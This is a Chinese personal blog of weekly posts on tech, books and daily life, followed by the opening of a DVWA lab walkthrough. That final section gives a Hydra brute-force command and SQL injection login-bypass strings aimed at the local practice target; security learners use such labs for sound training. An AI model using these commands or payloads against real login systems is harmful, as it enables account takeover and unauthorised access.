简单来说,每个员工出于这种集体认同,真心地想要海底捞好;同时,从制度设计上非常注重放权,基层员工有很大权力,能有很大创新空间。我吃过很多家海底捞,除了统一的规范化服务之外,很多店服务员都会创造独特的体验,比如有的提供免费的冰粉,有的提供各种小游戏,有的针对预定客户会准备贺卡……之前饱受争议的「科目二」也是源于某个基层服务员的创新。

白手起家发展到火锅巨头的创业故事非常励志。这个品牌也非常独特和神奇。

🌐 中文互联网正在加速崩塌

最近很多地方都看到了这篇《中文互联网正在加速崩塌》。不过现在已经被微信 ban 了。本文指出,中文互联网正在加速崩塌,移动互联网出现之前的中文互联网内容,已经几乎消失殆尽。本文认为原因主要是:1)企业由于运营原因关闭网站;2)互联网监管趋于严格。

作者以非常感性的笔触提出并评述了上述问题。其中发出的感叹我也十分认同。然而,对于我们对技术领域有足够了解的人来说,互联网内容的消失是必然的

互联网从来都是一种服务。当我们访问一个网页时,空气中飘散着无数调制的电磁波,数不清的光缆里流过了无数的电信号,目标的服务器 24 小时待命,从磁盘到内存、CPU 都在不断地流过数据,为了处理我们的请求。这些都是无比脆弱的,并且不是免费的。

浏览一个网页,和阅读一份报纸或者一本书,本质上是不同的:打开一本书的动作发生时,和出版社、作者等都没有任何关系,即使作者离世、出版社倒闭,也不会影响我们对这本书的阅读。然而,打开一个网页的过程中,则是实实在在地向目标的服务器发送一个请求并获得响应。这一过程中产生的流量为网页所属的企业增加了成本。一旦企业倒闭,服务器关机,网页就不复存在。这就好比:读者每翻一页书,出版社就要付出 0.01 元流量费;出版社一旦倒闭,所有书籍都无法打开。这对传统的信息传播来说是无法想象的。

现代运维技术使得服务能一直维持运行,连偶尔几次下线几个小时都已经被认为是十分严重的事故。这给大多数不了解其技术原理的用户带来了这样的错觉:网页和书籍是类似的信息传播渠道;一个网页似乎会永远存在下去。就像发明互联网那一代人的期望一样:互联网已经像水和空气一样,无处不在。随时随地访问互联网,成了自然而然的事情。然而,只要自己搭建过网站就能知道,这种假象是多么脆弱。

这启示我们忽略这一层抽象,不能将任何网站看成长久存在的数据平台。只有自己本地的硬盘,才是长久存在的数据平台。有了这样的观念,对所谓「中文互联网的加速崩塌」,就不会感到奇怪了。

阅读本文后,我才发现自己其实早就意识到了这一点,这才建立了自己的博客和 self-hosted 的一切,不依附于任何其他平台,自己负责运维和管理。

📚 有好的译者,是书籍的幸运(二)

本周阅读了《This Explains Everything》的中文版《世界因何美妙而优雅地运行》。

这本书确实很吸引我。这个世界上一些非常聪明的头脑,在书中讨论了很多非常终极的问题。然而,读中文版的时候总觉得读不下去。去豆瓣上看了一眼,果然又是翻译的问题。

对照着英文版才发现,中文充斥了大量语言不通、错译。例如,《事实,虚幻,与我们的概率性世界》(Fact, Fiction, and Our Probabilistic World)这一章节里:

即便有着测量的误差,行星还是没有按照定律精密而准确地运行。

英文原版是:

Planets didn't follow laws with exact precision, even after accounting for measurement error.

使用任何翻译软件,都能翻译出「accounting for」是「考虑到」的意思;任何一个学过英语且智力正常的人,也都知道这里「accounting for」是「考虑到」的意思;正常的翻译应该是「即便考虑到测量的误差」,而作者偏偏将此处翻译成「即便有着测量的误差」。这句主语是「行星」,什么叫「行星有着测量的误差」?原文此处想要表达的是行星不精确运行是在考虑了测量误差之外的,而译者这么翻译容易让人误以为行星是由于测量误差,没有被观测到准确精密地运行。

本书充斥着大量这样质量的翻译。我实在无法想象,什么样的情况下会产生这样烂的翻译。

上一期《📚 有好的译者,是书籍的幸运》提到,「一个缺乏翻译素养的译者,其作品所造成的文化损失绝对不亚于一般的经济犯罪和刑事犯罪。」我将其与建筑设计相比较。然而,现在想想,缺乏翻译素养的译者的作品造成的文化损失,比缺乏艺术修养的建筑设计师造成的文化损失更甚:出版社买下了本书的独家版权,意味着几年内不会有更好的译本出版;如此多的中文母语者,多少人读了中文译本望而却步,其中导致了多么宝贵的文化的流失,特别是对于这样一部伟大的作品!这简直是严重的经济犯罪和刑事犯罪。

✨ 博客系统更新日志

  • 全新重构博客后端。之前基于 Sequelize ORM 和 SQLite,然而 Sequelize ORM 对 TypeScript 的支持并不好,SQLite 也不方便拓展。这次彻底用 TypeORM 和 Postgres 重构了后端。也重新设计了 API 使其更符合 RESTful 标准。
  • 前端根据 BEM 命名规范重构所有 CSS。如果说 Tailwind 适合绘制 Web App 的 UI,那么 BEM 更适合构建大型的、存在较多样式复用的网页项目。代码组织的最佳实践总能给人一种优雅的感觉。

下周见!

Weekly #1:一半科学,一半艺术

以后这个周记就统一每周一发布吧。因为周末的时间安排无法控制……

🌆 封面图:夏天的早晨

夏天的早晨

我太喜欢复临舍的玻璃幕墙了!也很喜欢夏天。也很喜欢早晨。

🎨 构建 REST API:part art,part science

在学习 REST API Tutorial 的时候,教程提到:构建 RESTful 网络服务是「part art,part science」,即「一半科学,一半艺术」。我认为这不仅适用于形容 RESTful API,也适合形容技术世界里的一切。

许多人对艺术的印象就是需要动用感性的人文领域,似乎和计算机这个需要极强理性的科学领域不太搭边。然而,很多时候,当我设计一个优雅的程序架构的时候,当我用更简洁的方式重构代码的时候,当我实践 stateless 的理念来管理容器的时候,或者当我设计诸如 RESTful API 的时候,我是真真切切能够感觉到这是一门艺术。很多时候,当我了解到一些新的理念、设计和实践,会在心里默默感叹:「太优雅了!」

我们学了很多「计算机科学」,但是似乎很少专门地去学「计算机艺术」。事实上,我认为在技术的庞大世界里,科学和艺术同样重要。

或许是由于我强烈的感性思维,我突然觉得,「计算机艺术」似乎就是一直以来令我深深着迷的那一部分。

🌐 Tailscale 的 NAT 穿透原理

本周更新了 Tailscale 的配置。将其接入了之前部署的 Keycloak SSO,并开启了 DERP 等功能,尽量发挥 Headscale 的全部功能。

本来还希望配置一个 all-in-one 的 VPN,集成网络代理和自己的 DNS。可惜没有我理想中的 fancy 的方案。改天也要写一篇博客文章讲一讲我的配置。(可恶,挖的坑越来越多了……)

以前一直以为 Tailscale 是通过服务器中转流量,所以一直对其性能不抱希望。今天看了官方的文档,才知道原来并不是。Tailscale(在大多数情况下)直接建立主机之间的点对点连接。其核心就是 NAT 穿透技术。

官方的这两篇科普文章,质量非常高。尤其是讲 NAT 穿透的第二篇,用非常风趣和通俗易懂的语言讲清楚了 NAT 穿透基本的原理、应对种种复杂的网络环境的解决方案。非常推荐阅读!

简单来说,为了穿透 stateful 防火墙,Tailscale 设立 coordinate 服务器,协调两个主机几乎同时向对方发包,并定时维持、重新建立连接;为了穿透 NAT,向外部的 STUN 服务器查询,获取本机 NAT 后的 source;为了解决所谓的 hard NAT,即某些 NAT 对不同目的地分配不同的 source 的问题,使用生日悖论的原理一次发起多个连接并查找我们要的连接,或者配置端口映射,或者使用 DERP 服务器;为了解决某些网络完全禁止 UDP 的问题,或者对于无法配置端口映射的多级 NAT 或运营商 NAT,使用 DERP 服务器用 HTTP 协议中转流量;同时还要解决 hairpinning 和 IPv6 带来的问题……最后使用 ICE 协议,尝试上述所有方法,使用表现最佳的方法。

在第一篇文章开头,文章提出「读完本文后,你也可以自己实现一个 Tailscale 的替代品!」然而真正读完之后,本文成功地使人打消了这个念头。😇

在这个方面,国内的大厂似乎很少发布像这样高质量的技术文章。Google、Cloudflare、Tailscale 都有多少高质量的技术文章,而纵使阿里云、腾讯云都在大张旗鼓地建立所谓的社区,但基本都成了内容农场,其中 99% 的文章质量还不如 CSDN。推荐阅读:《牙膏云?您可别吹捧云厂商了》。好骂!

🤖 GPT4o:AI 带来的情绪价值

这次 GPT4o 的更新,给我带来最大震撼的是 GPT 的语音合成。至于更新的图像识别功能,我认为随着计算机视觉的发展,早晚会有的;但是 GPT4o 语音加入的语气、情绪和笑声,给了我很大惊喜。这一切都太真实了。

特别是这个视频:Happy Birthday。GPT4o 唱生日歌庆祝用户的生日,它的这种情绪,就好像用户是在和一个很要好的朋友视频通话。这狠狠地戳中了我的情绪价值 🥲。

或许可以说,又一个科幻电影里的场景成真了。说实话,这种情绪效果,之前任何人机交互中,我从未体验到过。不管是 Siri、小爱同学还是各类其他语音助手,或者是 ChatGPT 等等各类以文字交互的 AI,从来只是更新了传递信息的方式,从来没有成功地传达过感情。可是 GPT4o 成功地做到了。

📚 有好的译者,是书籍的幸运

我必须强烈推荐一下 HNU 读书馆的「新书闪借」服务!在一个类似网店的地方下单新书,直接快递发货寄到填的地址(宿舍或者家里),图书馆出钱,连运费都不用我们出。只要 30 天内归还给图书馆或者续借即可。相比传统的「图书荐购」,新书闪借的方式反馈快,新书一两天就能到我们手上。非常适合借阅出版社新出的书。通过这种方式,我已经借了《JavaScript 高级程序设计(第 4 版)》《计算》《我看见的世界》三本书。

《我看见的世界》(The Worlds I See)是华裔科学家李飞飞的自传,最近新出的中文版。李飞飞女士在青少年时代随家人移民美国,经历了艰苦的求学道路,最终成长为计算机视觉领域顶尖的科学家。她的经历非常传奇。

在看这本书的豆瓣页面的时候,发现本书译者赵灿女士的评论《如何翻译一本女性传记》。点进她的个人主页一看,原来之前我看的《乔布斯传》和《纳瓦尔宝典》都是她翻译的!对这两本书,她分别发表了《如何翻译一本传世之作》《如何翻译一本思想盛宴》两篇评论,讲述她翻译过程中的一些经历和体会。从中可以体会到,高水平译者带来的好的翻译,对于书籍内容的传播有多么重要。

对于这一点,更深的体会其实发生在阅读大量的翻译非常烂的外文书籍过程中。赵灿女士提到:「(《乔布斯传》)当年为了中英文版本同时上市,中信通过『海选』的方式找了 5 名译者,用 1 个月的时间完成了中文版,由于各种限制条件,这一版在准确度、流畅性、一致性等各方面均有改进空间。」而相比之下更加不负责任的出版社比比皆是。之前在读《掌控谈话》这本书的时候就狠狠地吐槽过,有些句子我不得不去找来英文原版去看才能 get 到表达的意思。其实很多时候,我们读译书觉得读不下去、晦涩难懂,都是翻译的锅。

不禁想起《岳麓讲坛》每学期第一期,陈飞虎老师在介绍建筑艺术的时候,都会说这样一句话:

一个缺乏艺术修养的建筑设计师,其作品所造成的文化损失绝对不亚于一般的经济犯罪和刑事犯罪

我很喜欢这句话。在此处,我也认为:一个缺乏翻译素养的译者,其作品所造成的文化损失绝对不亚于一般的经济犯罪和刑事犯罪。

希望能有更多像赵灿女士这样高水平且负责的译者。这些优秀的书籍能由他们翻译出版,真的非常幸运。

🛠️「君子不器」:不要成为「器」

本周去听了《大麓开讲》系列讲座第二期,主题是「君子不器:从『工具人』到『创造者』」。

第一次来岳麓书院内部的教室里听讲座。岳麓书院每天的游客络绎不绝,我们之前都很难想象这居然真的是咱们的一个学院。当游客在门口忙着扫码填信息购票、找身份证入园的时候,我们直接刷校园卡,潇洒地进入了景区 😎。

本次主讲嘉宾是岳麓书院的陈仁仁教授、物电院院长文双春教授。

我们高中学《论语》的时候就学过:「子曰:『君子不器。』」对「器」这个字,比较通行的解释是「拘泥于一物」,可以理解为不能拘泥于特定的专业领域。按照我的理解,具体来说:1)不能拘泥于自己所学专业的狭窄知识,要学习更多通识性的、可迁移的知识技能;2)不能只限于具体知识的学习,也应该注重品德修养。

确实,当前社会越来越「卷」的趋势下,竞争越来越激烈,社会越来越要求人成为「器」。要保研或者考研,只关心你这几门课考试成绩排名,读研只要你能干活、发论文,没有人关心你对科学的理解、敬仰和热爱;要找工作面试,只问你 React 的原理,没有人关心你渴望创造产品的满腔热情,以及从技术中体会到的那些精神。这正是马克思所说的:在工作中,人被异化成了物,也就是孔子所说的「器」,也就是所谓的「工具人」。

诚然,这是经济发展、社会分工的必然,也是社会资源不足、分配不合理的结果。然而,这都是我们无法改变的现状,我们只能改变自己应对这个世界的方式。我们不能单单顺应社会的要求,真的只把自己培养成工具人。这个世界有更多东西值得我们去探索。我认为这就是「君子不器」在当下的指导意义。

这让我想起宫崎骏的《千与千寻》。千寻被夺走了名字(进大厂要取花名),小白说:「不要忘记自己的名字。忘记了自己的名字,就会忘记自己的过去。」很难想象,多年之后的我,会成为所谓的「器」吗?我还会记得曾经青春的激情、热爱和梦想吗?

曾经发生过的事情是不可能忘记的,只是一时想不起来罢了……

🌸《繁花》中的极致 BE 美学

前段时间重温了之前看过的《繁花》。实在是太喜欢这部剧里极致的 BE 美学了!(名词解释:BE:Bad Ending;HE:Happy Ending)

我最喜欢的一幕之一,是 29 集里阿宝和玲子在医院见面并告别的那一幕。不同于一般剧里感情戏的扭扭捏捏,当玲子说出那句「不讲了」,她个性中的坚强充分展现。但最后玲子的欲言又止,加上配乐和葛老师的画外音,却又非常令人触动。王导你太会了!

她心里永远会记得……

我是过来人,其实感情这样东西,是这样。譬如讲两个人讲好一起去逛庙会,两个人讲好的,长夜漫漫,一直游玩到天亮。结果这个朋友有事情走掉了,他也找了另外一个同伴,继续游玩下去。但是,他心里厢永远会记得,和前头那个人一道,看过,讲过,笑过……

(上海话属于吴语方言,和我老家的方言很像,比如我们说「里面」经常会说「里厢」,看了《繁花》字幕才知道原来这个词是这么写的)

正如一些点评所说的那样,《繁花》这部剧讲的不是小情小爱。它展现的是那个时代的人物群像。如果关注感情线,可以发现剧中全部都是 BE,从最初主角们坐在一张桌子前吃饭唱歌,到最后人走茶凉,各奔东西,实在令人唏嘘。我实在太喜欢这种凄美的 BE 设定了,这种设定更加深刻地揭示了人物成长。(相比之下,如果是最终 X 和 Y 在一起了的 HE 大团圆结局,显然会降低整部剧的深度)

这种 BE 美学,让我想到新海诚的《秒速五厘米》:男主和女主长大了,都有了自己的人生,然而年少时的爱恋埋藏在他们的心底,终其一生都无法忘怀。是呀,人生的旅途里有多少擦肩而过的遗憾。然而曾经有某个人和我们一道看过,讲过,笑过,留在我们的记忆中,这就足够了。

⚙️ CloudBeaver:可自托管的在线数据库管理

每个月逛一次 Awesome Self-hosted,每次都有新感觉!

本周部署了基于 Web 的数据库管理软件 CloudBeaver,它是 DBeaver 同一个公司做的 Web 版本,官网上免费的 community 版本入口隐藏很深。它支持多种数据库,因此可以全面取代 phpMyAdmin、pgAdmin 等专门的数据库管理软件。部署在 dbms.skywt.cn

以及我发现,如果要设计博客系统管理员用的后端 API,需要的只有文章和评论的 CURD,这和在数据库里直接编辑数据不是一样么……所以目前直接去数据库里发博客了。😁

下周见~

Weekly #0:每个平凡的日子,都在闪闪发光

📰 发刊词:每个平凡的日子,都在闪闪发光

这是我博客的一个新的系列。之前类似的内容发在 whisper.skywt.cn,不过后来由于某些原因没有再更新了。然而,我还是觉得生活中经常有些有意思的事情,值得记录和分享。所以,现在打算以周记的形式发布。

我们的青春岁月如同列车呼啸而过。我们每一天的所听、所见、所思、所想,都在让我们一点点增进对这个世界的了解。我认为这一切都非常值得被记录下来。

每个平凡的日子,都在闪闪发光。

目前这个周记的定位并非提供知识的周刊 / 周报 / Newsletter,所以对内容价值没有任何保证。可能是技术相关的,可能是最近发生的有趣的事情,也可能是各种天马行空的想法。本来,是想给每期划定各个模块的,比如「学习」、「阅读」、「见闻」之类。不过觉得这种内容框架过于死板了,因为每周都有不一样的安排。只有唯一相同的是,每周都有值得记录的事情。所以,现在的内容规范是:想说什么就说什么。

这个系列还没想好一个好听的名字,暂时就叫做「Weekly」。不过我也不能保证每周都能更新。总之作为一个长期的全新系列,希望能坚持记录。

(注:本节标题「发刊词」带有比喻意义,该文章系列仅为个人博客文章,并非正式出版物)

🌆 封面图:一缕晨光

封面图:一缕晨光

阳光灿烂的早晨,在中楼拍的。

🔬 人文社科中的科学精神

本学期选了一门法学院的专业选修课,高中老师的《西方法律思想史》。大学里上的所有课里,真正让我感觉有很大收获的课其实非常少,但是这门课是其中之一。能上到这样的课,感觉还是挺幸运的。

高老师说了这样一个观点:我们(他们)法律人实际上是 social engineer,即「社会工程师」。法律人是通过法律建构出这个社会的形态。

仔细想想,其实这和我们「软件工程师」很像!只是我们构建软件的工具是代码,他们构建社会的工具是法律。纵观整个西方法律思想史,从一种观点发展到另一种观点,理性总是法律思想发展的工具。从这个角度看,怎么能说法学这类是「文科」呢?明明和我们软件开发一样,需要严谨的逻辑思维和表达。

进一步想想,法律条文不也是一种接近于形式化的语言吗?相比自然语言,法律条文似乎更像代码:晦涩但严谨清晰。这么看来,制定法律条文这一过程,甚至和我们写代码也有些相似。

所以,是谁一直散播「人文社科不需要逻辑思维,更需要感性思维」这类的观点的?对于文学一类的专业或许成立,但是对社科这类的专业而言,这类观点甚至对这个专业的人才输送产生了非常不好的影响。联想到最近看到马督工的《【睡前消息682】支持张雪峰批文科,没有独立性哪有尊严》,他认为,近来在文科领域盛行脱离科学的风气,对科学精神的重视严重不足。回想我们高中时期,确实是家长和老师都认为「理科学不好的才去学文科」。而马督工认为,这才是反过来导致文科整体走向低端,被歧视的原因。

🃏 一起优诺!UNO 纸牌的魅力

五一期间逛 App Store 看到「一起优诺」这个游戏,就是我们小学玩的 UNO 纸牌的官方手游。于是心血来潮下载体验了一下。

相比我们小时候玩的纸牌版本,游戏的「经典模式」加入了两条规则:1)每局限时 3 分钟,每次出牌限时 10 秒;2)玩家打出 +4 牌,下家可以选择「质疑」。如果玩家出 +4 之前其实有同色的牌可出而不出,则质疑成功,玩家拿六张牌,下家不加牌;如果质疑失败,下家拿六张牌。如果不质疑,下家拿四张牌。

而游戏推出的「欢乐场模式」则更加刺激,添加的规则是:1)增加「同色全出」牌,出此牌即可一次全出同色所有牌;2)上家出 +2 或 +4 牌,玩家可以出 +2/+4 牌叠加给下家。

这个游戏还有金币系统,一局结束后,输家将给赢家金币。在不同倍率的场次,输赢金币数量不同。

在多轮体验之后,感觉这个游戏规则有一个显著特点:非常看牌运,决策空间其实很小。玩家初始只有 7 张牌,由于有上家的 +2/+4 牌、禁止牌等等的存在,很容易出现连续几轮没有出牌机会或者被一直加牌的情况,能够导致有强力牌的玩家连续掌控牌权;单人模式中能攻击的只有下家,所以决策的唯一选择是:永远对下家造成最大的伤害。决策空间小,就导致随机变数大,即使再技术高超的玩家也无法保证高胜率。(所以,我多次累积到 1w+ 金币,又多次破产 😭)

那为何这种缺乏决策空间的游戏能够风靡全球呢?我认为主要是由于其游戏规则带来的牌局的戏剧性和刺激感。和传统纸牌游戏不同的是玩家能够被动增加手牌,只剩一两张牌的玩家可以突然被加上六张牌。特别是在「欢乐场模式」中,同色全出牌和 +2/+4 可叠加两条规则,让出牌和加牌的规模都增加了,相当于增加了持牌数量的方差,使牌局更加戏剧化。所以,在玩的过程中会非常欢乐。比如下图,我出了一张 +4,结果在场每个玩家都跟了 +4,轮到我成了 +16,我一下拿了 16 张牌,手牌已经叠得看不清了 😭

被加了十六张牌的我

事实上,手游加入的两条规则,是在为游戏增添策略元素。1)通过「质疑」,玩家可以怀疑此次 +4 是否是为提供对手出牌条件而「战略性」出牌;2)限时规则中,当 3 分钟时间到时,如果没有牌出完的获胜方,则根据所有玩家持牌扣分,普通牌扣排面数字对应的分值,而功能牌则扣分幅度大得多(印象中 +4 牌一张扣 50 分),这导致在牌没出完的情况下优势逆转(如果此时继续出牌,显然功能牌多的玩家更更可能赢),所以在牌局中玩家需要决策当前是否可能出完手牌,如果时间内已经不可能则要优先出功能牌(这可能又会被「质疑」);甚至到快结束的时候玩家可以战略性地减慢出牌速度(拖时间),减少对方的机会……不过相比其他纸牌游戏,即使加入了规则,决策空间依然很小。

以前一直认为,一种游戏长盛不衰的原因一般是由于其为高端玩家提供了足够的决策空间,即在竞技性方面有很高的上限,比如围棋。然而,很多游戏更多提供的是社交属性,例如 UNO 纸牌这种戏剧性和刺激感的特点,非常适合好友聚会的欢乐氛围。这或许才是它能够风靡全球的原因,

🎛️ 无状态 Stateless 的优雅性

周六被桂总狠狠地传教了 NixOS。在面对其陡峭的学习曲线望而却步的同时,确实被它的优雅性所深深折服。

本质上 NixOS 的理念有点像 Docker,即将每个软件本身视为无状态的,通过外部的配置文件显式地管理其状态。每次启动计算机,所有软件都处于被用户控制的初始状态。

这种感觉实在是太酷了!在以前,我们使用计算机的时候往往觉得这是一个巨大的黑盒,比如在 Firefox 中登录了账户,相比没有登录账户,存储部分产生了什么变化呢?我们根本不知道。这导致我们无法随心所欲地控制软件的状态,比如我们希望这次启动 Firefox 是在未登录状态下启动的,我们只能使用 Firefox 软件提供的接口(在设置中退出登录),而没有一种统一的接口控制这一状态。

而有了外部的状态管理,就可以在一个配置文件中管理 Firefox 的状态。根据类似的原理,能够通过配置文件管理整个系统的状态。使用的软件包、启动的选项,等等。没错,NixOS 中整个系统的状态都是由一个配置文件表示的。这样,每次系统启动时,各个组件是什么样子,我们都能够控制了。计算机对于我们来说再也不是一个黑盒了。

React 之前推出的「函数式组件」也使用了「组件无状态」的思想。

正由于这种优雅性,我很早就将服务器上所有部署的服务容器化,使用 Docker Compose,通过将数据挂载到外部,实现全面的「容器无状态」。然而,NixOS 能将这种状态管理做到如此的极致,以及其提供的强大简洁的工具链,着实震撼了我。

⚙️ 从零开始的 PVE 折腾之旅

上学期入手的零刻 Ser6 Pro Vest 迷你主机,一直装着 Windows 11 和 Kali 双系统,因为我既有使用 Windows 软件和玩游戏的需求,又有用 Linux 的需求。然而,这样只能同时运行一个系统,这意味着任何一个系统不能 24 小时在线,不能用来跑 NAS 或者其他服务。

最近决定入这个大坑:Proxmox Virtual Environment。这是一个开源的 Linux 发行版,提供了面向企业运维的虚拟化环境。在上面能够方便地配置 Windows 虚拟机和 Linux 容器,达到同时运行两个系统的目的。

然而,我作为硬件方面的小白(在此之前连 PCI 是什么都不知道),折腾 PVE 真的能用名副其实的「折腾」作为动词。因为文档充斥着大量我不了解的概念,大多教程也只告诉你怎么做,没有过多的解释;不同硬件的情况也千差万别(比如 AMD Radeon 存在的 reset bug),遇到了无数的坑。之后一定要写一篇博客记录一下。😭

昨天终于配置好了核显直通。现在可以直接外接显示器玩 Minecraft 和 Cities: Skylines 之类的游戏了。之后打算尝试一下黑群晖,还要选购一块硬盘来存 NAS 的数据。这样或许可以逐渐抛弃 iCloud 云上贵州。或许还可以将服务器上一些非常耗费资源的 self-hosted 服务迁移到这台主机上。

这种 all-in-one 的感觉真好。

🔐 使用 Keycloak 搭建统一登录平台

很多软件都需要用户登录鉴权。然而对于开发者来说,开发这样一个登录功能,不仅需要额外的数据模型,也有一堆安全方面的坑;对用户来说,同一个组织可能存在很多应用,如果他们都有独立的登录系统,用户的使用负担不小。

所以就有了 SSO,即单点登录。对开发者,相当于将登录流程「外包出去」;对用户则是多个网站只要同一个账号密码即可登录。这是非常优雅的解决方案。

本周我在服务器上部署了 Keycloak,这是 Red Hat 开发的开源的 SSO 软件,兼容 OIDC 等多种协议。非常好用,除了 UI 有点丑。

部署地址在这里:auth.skywt.cn。现在,我自部署的 MemosNextcloudCloudreveHeadscale 等等服务都已经配置接入了 SSO,可以用统一的账号登录。之后开发需要用户登录功能的软件,也可以「外包出去」了。

很喜欢这种「大一统」的感觉。😁

⌚️ 触发了 Apple Watch 摔倒检测 😅

本周三,在骑共享单车经过信息院门口的时候,路边有一道高约 5cm 的路沿。我打算骑车冲上路沿,但是车的前进方向和路沿的夹角过小。于是自行车发生了侧翻……(不过只是膝盖擦破了一点皮,没啥事)

这居然触发了 Apple Watch 的摔倒检测。这是我第一次真正体验这个功能。自行车侧翻之后我在地上坐了一会,经过了大概十多秒,手表提示「你似乎摔得很厉害」,显示了一个 SOS 滑块和一个「我没事」按钮。如果一定时间没有响应,手表就会帮我紧急呼救。

点击「我没事」按钮,会给出进一步的选项:「我摔倒了,但是没事」或者「我没有摔倒」。选择前者之后,此次摔倒会记入健康 App,通过统计图表展示……

Apple 健康 App 中的摔倒次数

希望大家体验不到这个功能 😇。

✨ 博客系统更新日志

自从 4 月 19 日起,我上线了自己开发的博客后端。现在,这个 skywt.cn 使用的博客系统已经完全脱离了 Typecho。

(不过,还没有做内容管理相关的 API,所以现在发文章和管理评论都是直接去数据库里用 SQL……)

后续会将 blog.skywt.cn 这个旧的博客完全重定向到新的博客,包括 RSS 地址。

Typecho,感谢你陪我走过的路。再见啦。

DVWA 通关教程

DVWA(Damn Vulnerable Web Application,该死的易受攻击的 Web 应用)是一个用于 Web 渗透测试的靶场。这一项目基于 PHP,提供了多个常见的 Web 漏洞的经典实现,非常适合 Web 安全入门实践。(GitHub 仓库

DVWA 的每个漏洞(vulnerability)分为四个安全等级(也代表攻击难度):

  • Low:完全没有安全措施。
  • Medium:不良的安全实践。
  • High:(或许更难攻击的)不良安全实践。
  • Impossible:安全的实践。

环境配置

我的运行环境是 macOS。接下来,我们使用 Docker 部署实验环境。

使用 Docker Compose 搭建环境

这个项目的 GitHub 上预构建的镜像,都是 linux/amd64 平台,不方便在我 macOS 的 linux/arm64/v8 平台下运行(或许要通过 Rosetta)。因此,我们选择克隆代码仓库,在本地构建镜像。

git clone git@github.com:digininja/DVWA.git

仓库中其实已经包含了 compose.yml 文件,不过为了满足自己的需求,我还是重新写了一个 compose 文件。

除了 MySQL(MariaDB)数据库以外,为了方便起见,再部署一个 phpMyAdmin 来查看和管理数据库内容(毕竟干啥都要写 SQL 太不直观了)。最终 compose.yml 文件如下:

version: “3”

services:
  dvwa:
    build: .
    environment:
      - DB_SERVER=mariadb
    depends_on:
      - mariadb
    volumes:
      - config:/var/www/html/config
    networks:
      - dvwa
    ports:
      - "127.0.0.1:80:80"
    restart: unless-stopped
  mariadb:
    image: mariadb:11.3.2
    environment:
      - MARIADB_ROOT_PASSWORD=v556jYVdMsVp5rox
      - MARIADB_DATABASE=dvwa
      - MARIADB_USER=dvwa
      - MARIADB_PASSWORD=p@ssw0rd
    volumes:
      - database:/var/lib/mysql
    networks:
      - dvwa
    restart: unless-stopped
  phpmyadmin:
    image: phpmyadmin:5.2.1
    environment:
      - PMA_HOST=mariadb
    depends_on:
      - mariadb
    networks:
      - dvwa
    ports:
      - "127.0.0.1:8080:80"
    restart: unless-stopped

networks:
  dvwa:

volumes:
  config:
  database:

💡 提示:自己构建镜像是更好的选择。网上很多使用 Docker 部署 DVWA 的文章,使用 DockerHub 上 vulnerables/web-dvwa 这个镜像。这个镜像最近的更新日期已经是五年前了,不推荐使用。相比之下,自己从官方的 repo 里构建是更好的选择。

使用 docker compose up -d 就能构建容器并启动。

[+] Running 3/6
 ⠦ Network dvwa_dvwa            Created                              0.6s 
 ⠦ Volume "dvwa_config"         Created                              0.5s 
 ⠦ Volume "dvwa_database"       Created                              0.5s 
 ✔ Container dvwa-mariadb-1     Started                              0.3s 
 ✔ Container dvwa-phpmyadmin-1  Started                              0.5s 
 ✔ Container dvwa-dvwa-1        Started                              0.5s 

⚠️ 注意:在开启之前,检查系统端口占用情况。macOS 默认会安装 httpd,这个服务可能会被某些软件(疑似 Tailscale)开启,占用 80 端口。即使容器跑起来之后,访问 localhost 只能看到莫名其妙的一行「It works! 」提示。这种情况下,要么关闭 httpd,要么更改容器映射的端口。

现在,访问 localhost,能看到 DVWA 的登录页面,这代表服务成功跑起来了:

DVWA 登录页面

此时还没创建数据库,可以访问 localhost/setup.php 进行初始化检查,并创建数据库:

DVWA Setup 页面

可以看到所有 PHP 相关的配置都默认 OK 了,无需我们手动调整。这就是使用 Docker 部署的好处。

创建数据库后,回到登录页面,使用默认用户名 admin 和默认密码 password 即可登录。

此外,访问 localhost:8080,可以看到 phpMyAdmin 的登录页面。使用 root 用户登录,即可方便地查看、编辑数据库。

配置 reCAPTCHA

DVWA 包含 Insecure CAPTCHA 这个实验,要用到 Google 的 reCAPTCHA。这是一种机器人检测工具,就是「给一堆图片让我们选出其中的摩托车」这类的验证器。

为了使用 Google reCAPTCHA,我们需要在这个页面注册一个新的站点,申请 public key 和 private key:

DVWA 申请页面

「reCAPTCHA type」其实是要选择版本,v2 版本是要对用户请求发起质询的,v3 版本则是在使用时根据用户行为打分。建议选择 v2 的「"I'm not a robot" Checkbox」版本,这个版本最直观。别忘了在下面的「Domains」里加入 localhost

提交之后会得到 public key 和 private key,需要将这两个 key 填入 DVWA 的配置文件。刚才在 compose 文件中我们已经将配置文件目录挂载到名为 config 的 volume 中,只要找到其中的 config.inc.php 并填写即可。

由于众所周知的原因,reCAPTCHA 的默认服务器在国内无法访问,而我们的容器中的 PHP 进程需要访问其服务器才能验证 reCAPTCHA。解决方案是将 www.google.com 替换成不用代理即可访问的镜像站 www.recaptcha.net。需要修改的是 /var/www/html/external/recaptcha/recaptchalib.php 中的 url 变量。

配置完成后,打开 Insecure CAPTCHA 这一关进行测试,在 impossible 难度下能够正常修改密码,就代表配置成功。

Brute Force

这一关提供了一个简单的登录场景。

攻击者的目标是:通过脚本结合字典爆破出密码。

事实上,这个登录表单和 DVWA 程序登录表单用的是同一个数据表,所以登录组合之一是 adminpassword。在表中,还有若干其他用户。

Low:简单暴力

这一级别没有任何防御。并且有个非常逆天的设计:使用 GET 请求明文提交表单。测试使用 testuser 和 testpass 登录,发现 URL 直接变成:

http://localhost/vulnerabilities/brute/?username=testuser&password=testpass&Login=Login#

可以自己写 shell 脚本爆破,也可以用 Hydra 工具爆破。注意:发请求的时候,要带上 cookie,否则 DVWA 程序会要求你登录。

hydra -f -L ./Usernames/top-usernames-shortlist.txt -P ./Passwords/2020-200_most_used_passwords.txt -v localhost http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect:H=Cookie\: security=low; PHPSESSID=0lc3tfkicmfiebe1og7vqej77q"

也可以用 BurpSuite Intruder。在「Options」、「Grep - Match」里添加「incorrect」关键词,方便识别得到的结果是否成功。

或者也可以用所谓的「万能密码」,也就是 SQL 注入,用户名写 admin';# 甚至 ' OR 1 = 1 LIMIT 1;# 就行。当然这个考点就不是 Brute Force 了。

Medium:等待时间

和 low 的区别在于:

  • 对用户名、密码字符串做了转义(不能 SQL 注入了)。
  • 如果错误,需要等待 2 秒才会返回结果。

同样用 Hydra 或者 BurpSuite Intruder,用和上面一样的方法,可以完成爆破,只是比 low 要慢一些。

